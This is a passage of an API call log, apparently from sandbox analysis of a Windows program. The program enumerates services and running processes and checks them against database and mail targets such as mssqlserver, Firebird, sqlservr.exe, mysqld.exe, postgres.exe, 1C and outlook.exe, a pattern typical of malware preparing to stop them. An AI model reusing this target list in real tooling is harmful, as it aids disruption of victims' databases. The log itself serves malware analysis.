1 [0250.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0250.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0250.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0250.527] lstrlenW (lpString="DcomLaunch") returned 10 [0250.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0250.527] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0250.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0250.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0250.528] lstrlenW (lpString="Dhcp") returned 4 [0250.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0250.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0250.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0250.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0250.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0250.528] lstrlenW (lpString="Dnscache") returned 8 [0250.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0250.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0250.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0250.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0250.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0250.528] lstrlenW (lpString="DPS") returned 3 [0250.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0250.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0250.529] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0250.529] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0250.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0250.529] lstrlenW (lpString="eventlog") returned 8 [0250.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0250.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0250.529] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0250.529] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0250.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0250.529] lstrlenW (lpString="EventSystem") returned 11 [0250.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0250.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0250.530] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0250.531] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0250.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0250.531] lstrlenW (lpString="gpsvc") returned 5 [0250.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0250.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0250.531] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0250.531] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0250.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0250.531] lstrlenW (lpString="iphlpsvc") returned 8 [0250.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.531] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0250.531] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0250.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0250.532] lstrlenW (lpString="LanmanServer") returned 12 [0250.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0250.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0250.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0250.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0250.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0250.532] lstrlenW (lpString="LanmanWorkstation") returned 17 [0250.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.532] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0250.532] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0250.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0250.533] lstrlenW (lpString="lmhosts") returned 7 [0250.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0250.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0250.533] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0250.533] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0250.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0250.533] lstrlenW (lpString="MMCSS") returned 5 [0250.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0250.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0250.533] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0250.533] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0250.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0250.534] lstrlenW (lpString="MpsSvc") returned 6 [0250.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0250.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0250.534] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0250.534] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0250.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0250.534] lstrlenW (lpString="netprofm") returned 8 [0250.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0250.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0250.534] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0250.534] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0250.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0250.535] lstrlenW (lpString="NlaSvc") returned 6 [0250.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0250.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0250.535] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0250.535] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0250.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0250.535] lstrlenW (lpString="nsi") returned 3 [0250.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0250.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0250.535] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0250.535] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0250.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0250.535] lstrlenW (lpString="PcaSvc") returned 6 [0250.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0250.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0250.535] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0250.536] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0250.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0250.536] lstrlenW (lpString="PlugPlay") returned 8 [0250.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0250.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0250.536] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0250.536] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0250.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0250.536] lstrlenW (lpString="Power") returned 5 [0250.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0250.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0250.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0250.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0250.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0250.536] lstrlenW (lpString="ProfSvc") returned 7 [0250.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0250.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0250.537] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0250.537] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0250.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0250.537] lstrlenW (lpString="RpcEptMapper") returned 12 [0250.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.537] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0250.537] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0250.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0250.537] lstrlenW (lpString="RpcSs") returned 5 [0250.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0250.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0250.537] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0250.537] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0250.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0250.538] lstrlenW (lpString="SamSs") returned 5 [0250.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0250.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0250.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0250.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0250.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0250.538] lstrlenW (lpString="Schedule") returned 8 [0250.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0250.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0250.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0250.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0250.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0250.538] lstrlenW (lpString="SENS") returned 4 [0250.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0250.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0250.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0250.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0250.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0250.539] lstrlenW (lpString="ShellHWDetection") returned 16 [0250.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.539] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0250.539] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0250.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0250.539] lstrlenW (lpString="Spooler") returned 7 [0250.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0250.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0250.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0250.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0250.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0250.540] lstrlenW (lpString="SysMain") returned 7 [0250.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0250.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0250.540] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0250.540] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0250.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0250.540] lstrlenW (lpString="Themes") returned 6 [0250.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0250.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0250.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0250.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0250.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0250.541] lstrlenW (lpString="TrkWks") returned 6 [0250.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0250.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0250.541] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0250.541] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0250.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0250.541] lstrlenW (lpString="UxSms") returned 5 [0250.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0250.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0250.541] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0250.541] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0250.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0250.542] lstrlenW (lpString="WdiServiceHost") returned 14 [0250.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0250.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0250.542] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0250.542] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0250.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0250.542] lstrlenW (lpString="Winmgmt") returned 7 [0250.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0250.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0250.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0250.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0250.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0250.543] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0250.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0250.554] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.555] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.556] lstrlenW (lpString="System") returned 6 [0250.556] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0250.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0250.556] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0250.556] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0250.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0250.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0250.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0250.557] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.000] lstrlenW (lpString="smss.exe") returned 8 [0251.000] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0251.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0251.000] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.001] lstrlenW (lpString="csrss.exe") returned 9 [0251.001] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.002] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.002] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.002] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.003] lstrlenW (lpString="wininit.exe") returned 11 [0251.003] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0251.003] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0251.003] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.004] lstrlenW (lpString="csrss.exe") returned 9 [0251.004] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.005] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.005] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.005] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.006] lstrlenW (lpString="winlogon.exe") returned 12 [0251.006] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0251.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0251.006] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0251.006] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0251.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0251.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0251.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0251.007] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.008] lstrlenW (lpString="services.exe") returned 12 [0251.008] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0251.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0251.008] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.009] lstrlenW (lpString="lsass.exe") returned 9 [0251.009] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0251.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0251.009] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0251.009] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0251.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0251.010] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0251.011] lstrlenW (lpString="lsm.exe") returned 7 [0251.011] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.012] lstrlenW (lpString="svchost.exe") returned 11 [0251.012] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.013] lstrlenW (lpString="svchost.exe") returned 11 [0251.013] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.017] lstrlenW (lpString="svchost.exe") returned 11 [0251.017] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.018] lstrlenW (lpString="svchost.exe") returned 11 [0251.018] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.019] lstrlenW (lpString="svchost.exe") returned 11 [0251.019] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.020] lstrlenW (lpString="audiodg.exe") returned 11 [0251.020] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.021] lstrlenW (lpString="svchost.exe") returned 11 [0251.021] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, 